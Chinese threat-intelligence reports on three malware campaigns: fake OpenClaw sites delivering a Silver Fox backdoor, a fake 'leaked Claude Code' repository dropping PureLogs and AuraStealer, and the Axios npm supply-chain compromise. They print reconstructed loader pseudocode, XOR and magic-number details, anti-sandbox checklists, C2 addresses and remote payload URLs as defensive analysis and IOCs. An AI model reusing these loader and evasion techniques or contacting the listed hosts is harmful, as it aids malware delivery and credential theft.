2026 年 3 月 ，腾讯安全科恩实验室威胁情报团队在日常威胁狩猎中捕获到一组可疑域名。它们无一例外地指向同一个目标——OpenClaw，一款近期热度飙升的开源 AI 智能体执行网关。

OpenClaw 凭借本地部署、安装即用的理念迅速积累了大量开发者用户。而攻击者显然也注意到了这一点。

当我们打开这些域名时，映入眼帘的是与 OpenClaw 官网几乎一模一样的页面。精致的 UI、熟悉的龙虾 Logo、诱人的功能介绍——一切看起来都那么正常。但藏在"安装下载"按钮背后的，是一个携带恶意后门的安装包。经研判，该后门为 银狐 家族的某个分支变种。

第一阶段：精心布局的仿冒站群

攻击者并非只搭建了一个钓鱼页面，而是同时注册了 4 个 仿冒域名，每个站点采用不同的 UI 风格，仿佛在进行 A/B 测试——哪种皮肤更容易让受害者上钩。

#	钓鱼域名	风格特征
1	cc-openclaw.com.cn	深色主题，仿官网主站
2	zh-openclaw.com.cn	深色主题，"快速开始"引导页
3	wap-openclaw.com.cn	紫色主题，强调"MIT 开源免费"
4	openclaw-cc.com.cn	浅色红色主题，伪造用户评价

值得注意的是，4 个域名全部使用 .com.cn 后缀——这是国内钓鱼攻击中常见的手法，利用用户对 .cn 域名的天然信任感。

逐一拆解

站点 ①：cc-openclaw.com.cn

深色系 UI 高度还原了 OpenClaw 官网风格，顶栏设有"安装下载"、"Skills商店"、"平台对接"等导航入口，页面中央是醒目的红色"安装下载"按钮，旁边还贴心地放置了"在线体验"和"GitHub"跳转入口，底部罗列了 Windows / macOS / Linux / Android / iOS 全平台图标——一切都在努力营造"这是一个正规开源项目"的假象。

站点 ②：zh-openclaw.com.cn

这个站点走的是"开发者友好"路线。页面模拟了一个终端窗口，展示伪造的安装命令（npm i -g openclaw、git clone），下方还有一个 "Companion App (Beta)" 下载区域。截图右上角清晰可见浏览器正在下载 openclaw1.1.zip——这就是那个携带后门的安装包。

站点 ③：wap-openclaw.com.cn

紫色主题，视觉冲击力最强的一个。巨大的标题"让 AI 真正为你工作"配合赛博朋克风格的龙虾渲染图，页面顶部标注"MIT 开源协议 | 完全免费"来打消用户疑虑，底部还虚构了"10,000+ 开发者正在使用"的数据。

站点 ④：openclaw-cc.com.cn

浅色红色主题，主打"真正能做事的人工智能"。这个站点最有意思的是底部精心伪造的用户评价区——John Doe（Software Developer）、Alice Smith（Product Manager）、Mike Johnson（Marketing Director）——三个虚构人物给出了热情洋溢的五星好评。攻击者对社会工程学的运用可见一斑。

无论用户访问哪个站点，点击下载按钮后获取的都是同一个文件：openclaw1.1.zip，托管在某云厂商 OSS 的新加坡节点上。

第二阶段：披着龙虾外衣的后门

解压安装包后，用户看到的是一个"OpenClaw 一键部署"工具。界面上展示着各种诱人的功能模块——自动操作电脑、浏览网页生成简报、跟踪行情趋势、归纳整理文件、手机远程指挥电脑——正中间是一个大大的"点击立即部署 >>"按钮。

然而，这个部署工具的真正目的并不是帮你部署 AI 助手。点击按钮的那一刻，一条精心设计的攻击链已经悄然启动。

样本执行后会释放出2个关键恶意文件：iusb3mon.exe + ziliao.jpg。

从文件名和扩展名来看，它像是一张普普通通的图片。但事实远非如此。

第三阶段：一张 JPG 图片里的杀机

魔数校验——只有"对的钥匙"才能打开

iusb3mon.exe 读取 ziliao.jpg 后，并不会急于执行任何操作，而是先对文件头部进行严格的握手验证：

• 前 4 字节必须精确匹配 0x7B7FE992（小端字节序：92 E9 7F 7B）

• 第 5 字节必须为 0x7B

这是攻击者设计的自定义魔数校验。如果文件头部不匹配，程序直接退出——不报错、不留痕。 下面是 ziliao.jpg 的十六进制视图，开头的 92 E9 7F 7B 魔数清晰可见：

XOR 0x7B——简单粗暴但有效的解密

魔数校验通过后，程序对整个文件逐字节执行异或解密：

buf[i] ^= 0x7B;

单字节 XOR——这可能是最朴素的加密方式，却足以骗过大多数基于文件签名的静态检测引擎。加密后的文件既不是合法的 JPG，也不会被识别为 PE 可执行文件，在杀软眼中它就是一堆无意义的二进制数据。

内存加载——永不落地的幽灵

解密后的数据揭示了 ziliao.jpg 的真实身份：一段 shellcode stub + 内嵌的 PE 可执行文件。

• 前段：一段精巧的加载器代码（shellcode stub），负责定位和映射后方的 PE

• 偏移 0x5BF 处：完整的 MZ PE 头浮出水面

程序随即调用 VirtualAlloc 分配一块带有执行权限的内存区域，将解密后的数据拷贝进去，然后直接跳转执行。

从头到尾，恶意 PE 从未以文件形式出现在磁盘上——这就是经典的 Fileless（无文件）内存加载技术。

载荷搜索路径——三次机会，一个目标

通过逆向分析，我们还原了 ziliao.jpg 的搜索路径逻辑。程序会依次在以下位置查找这张"图片"：

① C:\Users\<username>\Desktop\ziliao.jpg       ← 当前用户桌面
② <AppData>\Local\ziliao.jpg                    ← AppData\Local 目录
③ C:\Users\<username>\AppData\Local\Local\ziliao.jpg

三个路径逐一尝试，只要有一处命中就启动后续攻击链。这种多路径容错设计说明攻击者充分考虑了不同安装场景下文件的可能落点。

关键代码实证

以下是静态分析得到的载荷搜索与加载核心逻辑：

def loader():
    # 初始化文件名缓冲区（260字节）
    filename = bytearray(260)
    # 构建文件路径
    filename = "ziliao.jpg"
    # 尝试打开文件 (0x80000000 = GENERIC_READ, 3 = OPEN_EXISTING)
    file_handle = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, 
                              None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None)
    # 如果文件打开失败
if file_handle == INVALID_HANDLE_VALUE:
        # 获取当前用户名
        username_buffer = bytearray(260)
        buffer_size = 260
if not GetUserNameA(username_buffer, buffer_size):
            buffer_size = 0
        # 尝试从桌面路径加载文件
        filename = f"C:\\Users\\{username}\\Desktop\\ziliao.jpg"
        # 如果路径构建成功（长度检查）
if len(filename) <= 0x103:  # 259 + 1
            file_handle = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ,
                                      None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None)
            # 继续尝试其他路径...
    # 获取文件大小
    file_size = GetFileSize(file_handle, None)
    # 如果文件无效或为空，静默退出
if file_size == -1 or file_size == 0:
return  # 静默退出

可以看到，代码使用 GetUserNameA 动态获取当前用户名，拼接出完整的文件路径。如果第一个路径打不开文件（CreateFileA 返回 -1），就尝试下一个——直到找到 ziliao.jpg 或者全部失败静默退出。

第四阶段：建立远控通道

内存中的 PE 后门执行后，会立即与攻击者预设的 C2 服务器建立通信连接。一旦连接成功，攻击者即可远程下发任意指令，包括但不限于：窃取浏览器保存的账号密码与 Cookie、键盘记录、屏幕截图、文件窃取与上传、横向渗透内网其他主机——受害者的整台设备将完全处于攻击者的控制之下。

C2 地址和端口均以明文硬编码在样本的数据段中：

C2 地址: 27.124.44.134
通信端口: 25449 (0x6369)

至此，攻击者完成了从钓鱼引流到远程控制的完整闭环。受害者的机器已经沦为一台安静的傀儡，等待来自 27.124.44.134:25449 的下一步指令。

完整攻击链

回顾整个攻击流程，从初始接触到最终控制，每一步都经过精心设计：

技术手法小结

攻击阶段	技术手段	意图
引流	多域名钓鱼站群 + 多风格 UI	扩大覆盖面，提升可信度
投递	海外节点托管	利用合法云存储规避域名封堵
伪装	仿冒"一键部署"工具界面	降低用户戒心，诱导执行
隐藏	图片隐写（ziliao.jpg）	将恶意载荷伪装为无害图片文件
校验	自定义魔数 0x7B7FE992	防止误触发，对抗沙箱随机文件分析
加密	单字节 XOR 0x7B	绕过静态文件签名检测
执行	VirtualAlloc 内存加载	Fileless 执行，规避杀软文件扫描
控制	硬编码 C2 通信	建立远程控制通道

IOCs（威胁指标）

类型	指标	备注
钓鱼域名	zh-openclaw[.]com[.]cn openclaw-cc[.]com[.]cn wap-openclaw[.]com[.]cn cc-openclaw[.]com[.]cn	4 个仿冒 OpenClaw 官网，均为 .com[.]cn 后缀
下载地址	hxxps://wjrdq5o[.]oss-ap-southeast-1[.]aliyuncs[.]com/openclaw1.1.zip	新加坡节点托管
C2	27.124.44[.]134:25449 （端口 0x6369）	硬编码于数据段
MD5	ea6686bc1cb192007e4b43f51d4c0f74 829f2888dac28affe0515f3f5c171bf9	恶意样本哈希
关键文件	openclaw1.1.zip （投递包） iusb3mon.exe（恶意主体） ziliao.jpg（图片隐写载荷）	攻击链涉及文件
载荷特征	魔数 0x7B7FE992（小端 92 E9 7F 7B） 解密密钥 0x7B（XOR 单字节异或） PE 偏移 0x5BF	ziliao.jpg 隐写载荷校验与解密参数

总结与建议

这不是一次粗糙的钓鱼攻击。从多站点多风格的仿冒矩阵，到图片隐写 + XOR 加密 + 内存加载的组合拳，攻击者在每个环节都展现了不俗的工程化能力。他们瞄准的是当下最炙手可热的赛道——AI 智能体工具，利用开发者对开源社区的天然信任，将恶意软件包装成"一键部署"的便捷工具。

银狐家族的这个变种告诉我们一个朴素的道理：越是热门的工具，越可能成为攻击者的伪装外衣。

防护建议

1. 验证下载源：始终从 OpenClaw 官方 GitHub 仓库下载安装包，不要轻信搜索引擎中排名靠前的"官网"链接。核对域名中是否包含多余的前后缀（如 zh-、-cc、wap-）

2. 警惕 .com.cn 仿冒域名：本次攻击的 4 个钓鱼域名均使用 .com.cn 后缀，而 OpenClaw 官方并不使用该域名后缀

3. 网络层封堵：在防火墙 / IDS 中封禁 C2 地址 27.124.44.134 及端口 25449，同时将恶意 OSS 地址 wjrdq5o.oss-ap-southeast-1.aliyuncs.com 加入黑名单

4. 域名黑名单：将上述 4 个钓鱼域名加入 DNS 黑名单 / 安全网关拦截策略

5. 终端行为检测：重点关注以下行为组合——进程搜索并读取 ziliao.jpg 文件、VirtualAlloc 分配可执行内存后立即跳转执行、向 27.124.44.134:25449 发起外联连接

6. 文件排查：检查系统中是否存在 ziliao.jpg 文件（桌面、AppData\Local 等路径），如有发现应立即隔离并提交样本分析

针对OpenClaw安全风险，腾讯推出多场景安全防护矩阵：

腾讯将持续跟进AI时代面临的新型威胁态势，为拥抱AI的每位用户保驾护航。

一、概述

2026年3月31日，Anthropic 旗舰终端 AI 编程代理 Claude Code 因打包错误，意外泄露了约 51.3万行未混淆的 TypeScript 源代码。泄露代码迅速被镜像至 GitHub，数千个 Fork 涌现，部分仓库星标突破 8.4万。尽管 Anthropic 紧急发出 DMCA 删除通知，代码已在数百个公共仓库中广泛传播。

攻击者闻风而动。 腾讯安全科恩实验室威胁情报团队在安全运营中捕获到一起利用此次泄露事件作为诱饵的 Git 仓库投毒攻击——攻击者在 GitHub 创建名为 leaked-claude-code 的伪装仓库，通过 SEO 劫持将恶意链接推送至搜索引擎顶部，诱导好奇的开发者下载含有恶意 Release 的压缩包。一旦运行，受害主机将被植入多款商业窃密木马，包括 PureLogs Stealer 和 AuraStealer，实现浏览器凭据、加密货币钱包、2FA 令牌等敏感资产的全面窃取。

这是一次典型的 "热点事件 + 供应链投毒" 组合拳——攻击者精准把握开发者群体的好奇心理，将高关注度安全事件转化为大规模攻击入口。

二、事件背景：Claude Code 源码泄露始末

2.1 泄露经过

2026年3月31日，npm 包 @anthropic-ai/claude-code 版本 2.1.88 中意外包含了一个 59.8 MB 的 JavaScript Source Map（.map）文件，该文件引用了托管于 Anthropic Cloudflare R2 存储桶上的完整 TypeScript 源码 ZIP 包，共涉及 1,906 个源文件。

2.2 泄露扩散与攻击者借势

泄露代码迅速在开发者社区引发轩然大波：GitHub 上数千个 Fork 涌现，部分镜像仓库星标突破 8.4 万，"leaked Claude Code" 成为 Google 热搜关键词。尽管 Anthropic 在数小时内发出 DMCA 删除通知，代码已在数百个公共仓库中广泛传播，完全无法收回。

攻击者精准捕捉到了这一窗口期。 高关注度 + 开发者群体的强烈好奇心 = 绝佳的社会工程入口。攻击者迅速注册 GitHub 账户、搭建伪装仓库、优化 SEO 排名，将"搜索泄露代码"这一行为直接转化为恶意载荷的分发渠道——从泄露事件发生到投毒仓库上线，整个过程不超过 48 小时。 截至2026.4.3早晨（北京时间），该投毒项目已经被fork 800多次，star数超过600，呈现加速扩散趋势。

三、攻击链分析

攻击者利用 Claude Code 源码泄露事件作为社会工程诱饵，构建了一条完整的攻击链：

3.1 诱饵投放

攻击者在 GitHub 创建名为 leaked-claude-code 的仓库，声称包含泄露的 TypeScript 源码并"解锁了企业版功能"。仓库 Release 区提供名为 Claude Code - Leaked Source Code.7z 的压缩包作为恶意载荷分发入口。恶意仓库 README 页面，使用醒目的下载按钮诱导用户操作，并伪装为"安全研究工具"：

恶意仓库 Release 页面，提供 ClaudeCode_x64.7z（114 MB）压缩包下载：

3.2 SEO 劫持

恶意仓库链接被优化至 Google 搜索 "leaked Claude Code" 结果的顶部位置，精准命中因好奇心驱动搜索泄露代码的开发者群体。

3.3 载荷释放

用户下载并解压后运行 ClaudeCode_x64.exe（基于 Rust 的 Dropper，124 MB），母体运行后会释放大量恶意文件至系统多个隐蔽目录。部分文件功能相似，主要为商业远控窃密后门，通过伪装成系统服务、驱动组件等合法程序名称进行驻留。

ClaudeCode_x64.exe 文件属性（描述伪装为 "AI analysis and predictive modeling toolkit"）：

四、释放文件与样本分析

4.1 释放文件清单

母体运行后释放的恶意文件分布在多个系统路径下，刻意伪装为常见系统服务或知名软件组件，经分析，均为窃密商业远程控制类，后举例分析说明：

文件路径	MD5
C:\Users\Public\Music\ServiceAgent\UpdateService\autodrive.exe	936B37CC8337B0B48C59C60381BC13AE
C:\Users\Public\Videos\NetworkModule\NetworkProcess\WinHealhCare.exe	B7A76B82C2A5E16A3C346CC6AA145556
C:\Users\Public\Documents\GraphicsAdapter\WindowsManager\OneSync.exe	397405106D895815A9BEF8D84445AF5A
C:\Users\Public\Music\ServiceService\MicrosoftSupport\localvideo.exe	9A6EA91491CCB1068B0592402029527F
C:\Users\admin\AppData\Roaming\Roaming\Data\Config\manager.exe	F01E96A80F92C414DD824AEF5A1AC1E7
C:\Users\Public\Pictures\DriverController\IntelComponent\svc_service.exe	F9A25264ECF9013D2639875CE7F314CB
C:\ProgramData\Adobe\AdobeCloudSync.exe	B7A76B82C2A5E16A3C346CC6AA145556
C:\ProgramData\Google\ChromeSyncHost.exe	B7A76B82C2A5E16A3C346CC6AA145556
C:\Users\Public\OneDriveSync.exe	B7A76B82C2A5E16A3C346CC6AA145556
C:\ProgramData\Intel\IntelGraphicsHost.exe	B7A76B82C2A5E16A3C346CC6AA145556
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\svc_host.exe	F9A25264ECF9013D2639875CE7F314CB
C:\Users\Public\Pictures\DeviceService\NetworkAgent\onedrive_sync.exe	F01E96A80F92C414DD824AEF5A1AC1E7

多个文件共享相同 MD5，表明攻击者通过"同一载荷、多路径冗余投放"策略提高持久化成功率。

4.2 样本一：OneSync.exe — 下载器 + 持久化 + 反分析

文件信息

属性	值
路径	C:\Users\Public\Documents\GraphicsAdapter\WindowsManager\OneSync.exe
MD5	397405106D895815A9BEF8D84445AF5A
类型	下载器

功能概述

该模块表现为 下载器 + 持久化 + 扩散 的组合体，包含完整的反虚拟机 / 反沙箱 / 反调试逻辑。

反分析对抗机制

1.明确命中即退出型检测

样本实现了一系列的反分析机制，一旦检测命中下面的特征，立即设置标志并记录原因，主控逻辑提前返回，后续外联拉取不执行：

检测类型	检测手段	命中条件
虚拟化关键字	环境字符串子串匹配	命中 hyper-v、vmware、virtualbox、qemu、parallels 等
VirtualBox NAT IP	执行 ipconfig 匹配输出	发现 10.0.2.15
沙箱 DLL	遍历 DLL 名列表，调用 GetModuleHandleA	发现 SbieDll.dll 等沙箱/注入模块已加载
黑名单进程	CreateToolhelp32Snapshot  + Process32First/Next 枚举	命中 ida.exe、x64dbg.exe、windbg.exe、wireshark.exe、fiddler.exe、vmtoolsd.exe、vboxservice.exe 等

2.阈值累计型检测

对多维度主机信息进行评分，风险阈值累计满足后退出：

检测维度	实现方式
CPU 核数	GetSystemInfo  → dwNumberOfProcessors
物理内存	GetPhysicallyInstalledSystemMemory  换算 GiB
磁盘空间	GetDiskFreeSpaceExW  获取总容量换算 GiB
屏幕分辨率	GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)  与内置可疑分辨率表比对
运行时长	GetTickCount64()/1000 ，过短则命中
进程数量	遍历快照统计进程数，落入异常范围则命中

通过以上反分析检测后，样本最终尝试通过以下公开平台 URL 拉取远程载荷并执行（当前部分内容已被清理）：

平台	远程载荷地址
Pastebin	https://pastebin[.]com/raw/csi5UqpE
Pastebin	https://pastebin[.]com/raw/fTxiyhbL
snippet.host	https://snippet[.]host/wtbtew/raw
snippet.host	https://snippet[.]host/iqqmib/raw

4.3 样本二：svc_service.exe — RC4 加密 Loader → PureLogs Stealer

文件信息

属性	值
路径	C:\Users\Public\Pictures\DriverController\IntelComponent\svc_service.exe
MD5	F9A25264ECF9013D2639875CE7F314CB
类型	RC4 加密 Loader
最终载荷	PureLogs Stealer （.NET 程序集）
C2 地址	45.55.35.48:56001 （serverconect[.]cc）

加载过程

该模块在加载阶段不直接发起网络通信，而是将二阶段逻辑以加密形式内嵌于自身 PE 文件的数据区：

1. Loader 将内嵌加密数据整体拷贝至可写缓冲区

2. 使用 RC4 流密码解密，内嵌加密载荷大小为 634,880 字节

3. 解密后加载 CLR 运行时

4. 在当前进程内执行解密得到的 .NET 托管程序集

调试后门

该恶意模块内置一个隐藏调试开关参数 --johnpidar。以该参数启动时，样本进入"调试输出模式"，在控制台打印完整执行链路，

最终载荷：PureLogs Stealer

Dump 得到的 .NET 恶意程序本质为 PureLogs（也称 PureLogs Stealer），是一种以 MaaS（恶意软件即服务） 模式在地下论坛出售的信息窃取型恶意软件，具备完备的窃密功能：

CFF Explorer 查看 dump 得到的 .NET 程序集信息（Portable Executable 32 .NET Assembly，620 KB）：

PureLogs Stealer 回连 C2 地址 45.55.35.48（serverconect[.]cc）的流量记录：

窃密能力	描述
浏览器数据窃取	密码、Cookie、自动填充、浏览历史（Chrome/Firefox/Edge 等）
加密货币钱包	桌面端钱包私钥/助记词窃取 + 剪贴板劫持
系统信息收集	OS/硬件信息、IP 地理位置、屏幕截图、进程列表
应用程序凭据	Discord Token、Telegram 会话、Steam、FTP/邮件/VPN 客户端凭据
文件抓取	按扩展名/路径规则搜索窃取 .txt、.doc、.pdf、.key、.wallet 等
键盘记录	实时记录键盘输入

4.4 样本三：autodrive.exe — 内存解密 → AuraStealer

文件信息

属性	值
路径	C:\Users\Public\Music\ServiceAgent\UpdateService\autodrive.exe
MD5	936B37CC8337B0B48C59C60381BC13AE
类型	下载器
最终载荷	AuraStealer
C2 地址	dev-tools[.]cfd

加载过程

该样本同样为 Dropper，通过在内存中解密释放出另一款商业窃密木马 AuraStealer。

最终载荷：AuraStealer

AuraStealer 于 2025年7月首次出现，由讲俄语的威胁组织 AuraCorp 开发，以 MaaS 模式运营。官方宣称可从 110+ 种浏览器、70+ 种应用程序（含钱包和 2FA）、250+ 种浏览器扩展中收集数据，技术特征如下：

AuraCorp 在地下论坛发布的 AuraStealer 销售帖（售价 295-585 美元）：

特征	描述
编写语言	C++
目标平台	Windows 7 ~ Windows 11
浏览器窃取	Chromium / Gecko 内核浏览器密码、Cookie、自动填充（含 ABE 绕过）
加密钱包	桌面端钱包应用、浏览器扩展钱包、助记词/私钥
会话令牌	Discord Token、Telegram 会话、Steam 令牌、2FA 令牌
密码管理器	KeePass、Bitwarden、1Password、LastPass 数据
远程工具	AnyDesk、FileZilla、OpenVPN/NordVPN/ProtonVPN 凭据
反分析	间接控制流混淆、异常驱动 API 哈希、字符串 XOR 加密、反 VM/沙箱/调试

五、IOC

类型	值	说明
MD5	936B37CC8337B0B48C59C60381BC13AE	autodrive.exe — AuraStealer Dropper
MD5	B7A76B82C2A5E16A3C346CC6AA145556	多路径冗余投放载荷（WinHealhCare / AdobeCloudSync / ChromeSyncHost / OneDriveSync / IntelGraphicsHost）
MD5	397405106D895815A9BEF8D84445AF5A	OneSync.exe — Dropper / Spreader
MD5	9A6EA91491CCB1068B0592402029527F	localvideo.exe
MD5	F01E96A80F92C414DD824AEF5A1AC1E7	manager.exe / onedrive_sync.exe
MD5	F9A25264ECF9013D2639875CE7F314CB	svc_service.exe / svc_host.exe — PureLogs Loader
MD5	d8256fbc62e85dae85eb8d4b49613774	初始压缩包
MD5	8660646bbc6bb7dc8f59a764e25fe1fd	初始压缩包
MD5	77c73bd5e7625b7f691bc00a1b561a0f	释放的 Dropper EXE
MD5	81fb210ba148fd39e999ee9cdc085dfc	释放的 Dropper EXE
IP	45.55.35.48:56001	PureLogs Stealer
DOMAIN	serverconect[.]cc	PureLogs Stealer
DOMAIN	dev-tools[.]cfd	AuraStealer
URL	steamcommunity[.]com/profiles/76561198721263282	Vidar C2
URL	telegram[.]me/g1n3sss	Vidar C2
IP	147.45.197[.]92:443	GhostSocks C2
IP	94.228.161[.]88:443	GhostSocks C2
远程载荷 URL	https://pastebin[.]com/raw/csi5UqpE	OneSync.exe 远程载荷拉取地址
远程载荷 URL	https://pastebin[.]com/raw/fTxiyhbL	OneSync.exe 远程载荷拉取地址
远程载荷 URL	https://snippet[.]host/wtbtew/raw	OneSync.exe 远程载荷拉取地址
远程载荷 URL	https://snippet[.]host/iqqmib/raw	OneSync.exe 远程载荷拉取地址
恶意仓库	https://github[.]com/leaked-claude-code/leaked-claude-code	主诱饵仓库
恶意仓库	https://github[.]com/my3jie/leaked-claude-code	镜像仓库
恶意仓库	https://github[.]com/idbzoomh1	攻击者账户

六、ATT&CK 技术映射

战术	技术	编号	描述
初始访问	通过网络服务投递	T1189	通过 GitHub 恶意仓库分发载荷
执行	用户执行	T1204.002	诱导用户运行伪装的泄露代码
持久化	注册表 Run 键 / 计划任务	T1547.001 / T1053.005	通过多种方式实现开机自启动
防御规避	虚拟化/沙箱检测	T1497.001	多维度环境甄别，命中即退出
防御规避	反调试	T1622	黑名单进程检测、调试器标志检查
防御规避	混淆/加密载荷	T1027	RC4 加密内嵌载荷、内存解密执行
凭据访问	浏览器凭据窃取	T1555.003	窃取 Chrome/Firefox 等保存的密码
凭据访问	键盘记录	T1056.001	PureLogs 键盘记录功能
采集	屏幕截图	T1113	系统屏幕截图捕获
采集	剪贴板数据	T1115	剪贴板监控与劫持
命令与控制	应用层协议	T1071.001	HTTP/HTTPS C2 通信
数据渗出	经 C2 通道渗出	T1041	窃取数据经 C2 回传

七、总结与防御建议

本次攻击事件展现了一条成熟的 "热点借势 → 社工诱饵 → 多阶段载荷 → 商业窃密木马" 攻击链。攻击者具备以下显著特征：

• 时效性极强：在 Claude Code 泄露事件发生后数小时内即完成投毒仓库搭建与 SEO 推广

• 载荷冗余投放：同一载荷以不同文件名散布于多个系统路径，提高持久化成功率

• 多木马组合：同时部署 PureLogs、AuraStealer 等多款商业窃密工具，最大化数据窃取覆盖面

• 反分析能力完备：具备成熟的反 VM、反沙箱、反调试机制，阈值累计评分模型增加自动化分析难度

针对开发者

1. 严禁下载或运行任何声称是"泄露 Claude Code"的 GitHub 仓库代码，仅通过 Anthropic 官方渠道 获取工具

2. 不在不受信任的代码库上运行具有本地 Shell / 工具访问权限的 AI 代理

3. 审查 npm 依赖：关注异常包更新，等待官方签名二进制发布后再升级

4. 隔离开发环境：使用容器或虚拟机运行来源不明的代码

针对企业安全团队

1. 封堵已知 IOC：将上述文件哈希、C2 地址、恶意仓库 URL 加入安全设备黑名单

2. 终端监控：关注 C:\Users\Public\*、C:\ProgramData\* 等非标准路径下的可执行文件创建

3. 网络侧检测：监控对 Pastebin、snippet.host 等公开平台的异常外联，以及 .cfd、.shop 等新顶级域名的 C2 回连

4. 开发者工作站：排查是否存在上述 IOC 中的文件路径与进程，检查注册表 Run 键和计划任务

5. 零信任架构：优先隔离关键应用的访问权限，限制开发环境的横向移动能力

针对AI agent相关安全风险，腾讯推出多场景安全防护矩阵：

腾讯将持续跟进AI时代面临的新型威胁态势，为拥抱AI的每位用户保驾护航。

近日，腾讯安全团队在腾讯iOA产品上监测到 Axios 被被曝出存在供应链投毒风险，攻击者可利用该投毒包自动下载并执行远程后门脚本，实现远程控制、该木马可窃取开发环境中的各类密钥和凭据，并通过 C2 服务器实现远程控制、植入持久化后门等危害。

 Axios 是 JavaScript 生态中最流行的 HTTP 客户端库，每周下载量超过 1 亿次，广泛用于 React 前端、Node.js 服务端、CI/CD 工具链等场景。此次攻击预谋周密，恶意依赖提前 18 小时预置，三个操作系统的载荷分别预构建，两条发布分支在 39 分钟内相继被攻击，且全程设计了自毁机制以规避事后取证，是迄今针对 npm 头部包最具操作复杂度的供应链攻击之一。

如果你安装过 axios@1.14.1 或 axios@0.30.4，应立即假定系统已失陷。

事件概述

攻击时间线如下：

攻击者劫持了 Axios 维护者的 npm 账号，篡改账号注册邮箱，绕过项目正常的 GitHub Actions CI/CD 发布流程，通过 npm CLI 手动发布了两个恶意版本：axios@1.14.1 和 axios@0.30.4。 这两个版本的 Axios 源码本身没有被篡改。攻击者的手法更为隐蔽——在 package.json 中新增了一条名为 plain-crypto-js@4.2.1 的依赖。该依赖在 Axios 代码中从未被引用，它的唯一目的就是在 npm install 时触发 postinstall 钩子，执行经过双层混淆的 Dropper 脚本，进而向系统中投放跨平台 RAT 木马。 为了降低被安全工具识别的概率，攻击者做了充分的准备工作：

• 在发布恶意版本前约 18 小时，先用同一账号发布了一个无毒的 plain-crypto-js@4.2.0（完整复制合法的 crypto-js 源码），为账号建立发布记录，规避"零历史新包"的告警规则；

• 恶意 Dropper 采用运行时解密、动态模块加载等手段绕过静态分析和 AST 扫描；

• 执行完成后会自行替换 package.json 并删除痕迹，阻碍事后取证。

受影响范围

RAT 木马覆盖三个平台，具备完整的远程控制能力：

• 直接受影响：所有安装了 axios@1.14.1 或 axios@0.30.4 的 Node.js 项目及其运行环境

• CI/CD 流水线：任何在上述版本存在期间执行过 npm install / npm update 且未锁定版本的自动化构建任务

• 凭据泄露风险：安装时环境中可访问的所有凭据均应视为已泄露，包括但不限于：

• npm access token

• AWS / GCP / Azure 云平台密钥

• SSH 私钥

• CI/CD secrets（如 GitHub Actions secrets）

• .env 文件中的所有敏感值

• 潜在规模：axios 每周下载量超 1 亿次，即使恶意版本存在时间短暂，潜在受害者数量仍极为可观

影响版本

• axios (npm) == 0.30.4

• axios (npm) == 1.14.1

• plain-crypto-js (npm) == 4.2.1

安全版本

• axios (npm) <= 0.30.3

• axios (npm) <= 1.14.0

• axios (npm) > 0.30.4

• axios (npm) > 1.14.1

• plain-crypto-js (npm) 恶意包已被 npm 官方下架

IOC 列表

类型	值
C2 域名	sfrclak.com
C2 IP	142.11.206.73
关联域名	callnrwise.com
C2 URL	http://sfrclak.com:8000/6202033
MD5	04e3073b3cd5c5bfcde6f575ecf6e8c1 9663665850cdd8fe12e30a671e5c4e6f

紧急处置建议

降级 axios 至安全版本并锁定

# 1.x 用户
npm install axios@1.14.0
# 0.x 用户
npm install axios@0.30.3

在 package.json 中添加 overrides，防止传递依赖解析回恶意版本

{
"dependencies": { "axios": "1.14.0" },
"overrides":    { "axios": "1.14.0" },
"resolutions":  { "axios": "1.14.0" }
}

删除 plain-crypto-js 并重新安装（禁用脚本）：

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts

使用腾讯iOA开展全盘查杀

目前腾讯iOA已支持对相关恶意文件实施查杀，用户可通过iOA配置快速查杀策略，对全网终端下发全盘扫描任务，自动隔离病毒文件。除了病毒查杀以外，您还可以通过腾讯iOA-EDR实现外联拦截、精准威胁溯源。

• C2外联拦截（默认包含，无需用户手动配置）

EDR内置规则包含威胁联网自动处置，终端基于威胁情报引擎，发现联网的域名或IP指向威胁情报，会自动处置拦截，并产生告警。

• 威胁告警排查

EDR威胁告警，攻击详情筛选 “sfrclak.com”，排查相关告警信息。

• 威胁狩猎

通过EDR威胁狩猎，选择筛选条件网络事件->目标信息-域名->包含 sfrclak.com；或者执行SELECT * FROM NetworkEvents WHERE Child.Host = 'sfrclak.com' ORDER BY Common.EventTime DESC 查看有无历史访问IOC的连接记录。

若发现 RAT 文件

不要原地清理，直接从已知干净状态重建系统。

凭据轮换

对所有曾运行恶意版本的系统，立即轮换以下凭据：

• npm access token

• AWS / GCP / Azure 访问密钥

• SSH 私钥

• GitHub / GitLab / CI/CD secrets

• .env 文件中的所有敏感值（数据库密码、API 密钥等）

CI/CD 流水线加固

审计历史流水线： 检查所有 CI/CD job 日志，找出曾执行 npm install axios@1.14.1 或 axios@0.30.4 的任务，对相关流水线注入的所有 secrets 进行轮换。 强制禁用 postinstall 钩子：

npm ci --ignore-scripts

在网络/DNS 层封锁 C2（Linux iptables）：

iptables -A OUTPUT -d 142.11.206.73 -j DROP

在 hosts 文件中封锁 C2 域名（macOS / Linux）：

echo"0.0.0.0 sfrclak.com" >> /etc/hosts

点击“阅读原文”访问腾讯iOA官网了解对应产品能力，更多iOA详情或技术支持，扫码申请免费试用，我们会尽快联系您。

针对OpenClaw安全风险，腾讯推出多场景安全防护矩阵：

本地个人：

腾讯电脑管家 18.0 版本提供「龙虾管家-AI安全沙箱」，无需复杂配置、一键即可为 “龙虾” 开启隔离运行环境，并通过AI实时运行保护和漏洞防护，实现 “龙虾” 的全流程防护。

本地企业：

腾讯iOA提供 “威胁源头——执行过程——数据出口” 全链路龙虾防护

云端部署：

Lighthouse原生安全 Lighthouse与腾讯云ClawPro自带云端物理防爆箱：环境隔离、最小化端口放行、一键快照回滚
AI Agent安全中心 盘点AI Agent资产，管控Agent行为，防范skills风险，保护密钥凭据，深度审计和全链路溯源
AI Agent安全网关 AI Agent身份凭据安全，防提示词注入，内容安全，数据防泄露，Token限流
Agent Runtime 提供VM级强隔离、网络隔离、文件隔离、零凭证访问等能力，支持数十万实例并发

Skills安全：

EdgeOne ClawScan 一句话即可让龙虾自己安装，自动 “体检” 并输出报告 

HaS Anonymizer 隐私保护，支持文本 / 图片信息扫描、脱敏和还原 

威胁情报中心 Skills安全检测，构建覆盖互联网威胁发现与未知样本检测的全方面防护能力

